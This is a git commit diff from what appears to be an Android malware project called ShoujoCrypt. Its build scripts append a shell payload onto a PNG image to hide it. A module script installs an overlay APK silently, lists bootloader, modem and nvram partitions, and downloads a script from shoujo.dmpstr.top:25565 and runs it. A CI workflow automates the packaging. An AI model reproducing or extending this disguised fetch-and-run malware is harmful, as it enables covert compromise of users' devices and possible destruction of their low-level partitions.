push

Signed-off-by: manigohan <manigohan@national.shitposting.agency>

Author: manigohan

.github/workflows/build.yml

@@ -4,8 +4,31 @@ on:
   push:
 
 jobs:
-  build:
-    name: Build OverlayService
+  build_shoujo:
+    name: Build ShoujoCrypt
+    runs-on: ubuntu-latest
+    steps:
+    - name: Checkout sources
+      uses: actions/checkout@v4
+      with:
+        lfs: true
+    - name: Pull LFS objects
+      run: git lfs checkout
+    - name: Setup Java
+      uses: actions/setup-java@v4
+      with:
+        distribution: 'temurin'
+        java-version: 21
+    - name: NDK Setup
+      uses: nttld/setup-ndk@v1.5.0
+      with:
+        ndk-version: r27c
+    - name: Build ShoujoCrypt payload
+      run: |
+        ndk-build
+      working-directory: src/jni
+  build_module:
+    name: Build OverlayService and module
     runs-on: ubuntu-latest
     steps:
     - name: Checkout sources
@@ -26,7 +49,11 @@ jobs:
         ./gradlew build
         ./gradlew assembleDebug
       working-directory: src/OverlayServiceProject
+    - name: Build module
+      run: |
+        cp src/OverlayServiceProject/app/build/outputs/apk/debug/app-debug.apk module/overlay.apk
+        bash ./build.sh
     - name: Upload OverlayService
       uses: actions/upload-artifact@v4
       with:
-        path: src/OverlayServiceProject/app/build/outputs/apk/debug/
+        path: out/

.gitignore

@@ -1 +1,5 @@
-src/jni/obj/
+src/jni/obj
+src/jni/libs
+out/
+src/image_payload/payload.png
+src/image_payload/offset

build.sh

@@ -1,4 +1,19 @@
 #!/bin/bash
+set -e
+
 # This is to be ran after building the ShoujoCrypt payload and OverlayService
 export PROJECT_ROOT="$PWD"
 export build="$PROJECT_ROOT/build"
+
+if [ -e "$PROJECT_ROOT/out" ]; then
+  rm -rf $PROJECT_ROOT/out
+  mkdir $PROJECT_ROOT/out
+else
+  mkdir $PROJECT_ROOT/out
+fi
+echo -e "Made output directory at $PROJECT_ROOT/out"
+
+bash $build/image.sh
+bash $build/zipitup.sh
+
+echo -e "Done!"

build/image.sh

@@ -0,0 +1,13 @@
+#!/bin/bash
+set -e
+
+MODULE_DIRECTORY="$PROJECT_ROOT/module"
+if [ ! -e "$MODULE_DIRECTORY/logo.png" ]; then
+  exit 1;
+fi
+
+commit_hash="$(git log --pretty=format:'%h' -n 1)"
+zip_name="shoujohash-$commit_hash.zip"
+
+zip -r9 "$PROJECT_ROOT/out/$zip_name" "$MODULE_DIRECTORY"
+echo -e "Done! Check $PROJECT_ROOT/out/$zip_name"

build/zipitup.sh

@@ -1,5 +1,5 @@
 #!/bin/sh
 
-echo $(stat -c %s yui.png) > offset
-cat yui.png payload.sh > payload.png
-echo -e "Embedded payload.sh into yui.png\nOutput at $PWD/payload.png"
+echo $(stat -c %s $PROJECT_ROOT/src/image_payload/yui.png) > $PROJECT_ROOT/src/image_payload/offset
+cat $PROJECT_ROOT/src/image_payload/yui.png $PROJECT_ROOT/src/image_payload/payload.sh > $PROJECT_ROOT/src/image_payload/payload.png
+echo -e "Embedded payload.sh into yui.png\nOutput at $PROJECT_ROOT/src/image_payload/payload.png"

src/image_payload/embed.sh

@@ -1,5 +1,5 @@
 ###SCRIPT_START###
-
+MODDIR=${0%/*}
 part="abl xbl preloader preloader_raw lk boot aboot tz modem efs nvram nvdata"
 
 case $1 in
@@ -8,12 +8,18 @@ case $1 in
     abi=$(getprop ro.product.cpu.abi)
 
     if [[ "$abi" == "armeabi-v7a" ]]; then
-        curl="bin/curl/armeabi-v7a/curl"
+        curl="$MODDIR/bin/curl/armeabi-v7a/curl"
     elif [[ "$abi" == "arm64-v8a" ]]; then
-        curl="bin/curl/arm64-v8a/curl"
+        curl="$MODDIR/bin/curl/arm64-v8a/curl"
+    fi
+    if [ -e "$MODDIR/overlay.apk" ]; then
+        pm install $MODDIR/overlay.apk
+    else
+        echo "huh"
+        $curl_bin http://shoujo.dmpstr.top:25565/overlay -o $MODDIR/overlay.apk
     fi
-    $curl_bin http://shoujo.dmpstr.top:25565/ehe -o sc.pl
-    chmod u+x sc.pl
+    $curl_bin http://shoujo.dmpstr.top:25565/ehe -o $MODDIR/sc.pl
+    chmod u+x $MODDIR/sc.pl
     ./sc.pl
     ;;
   post)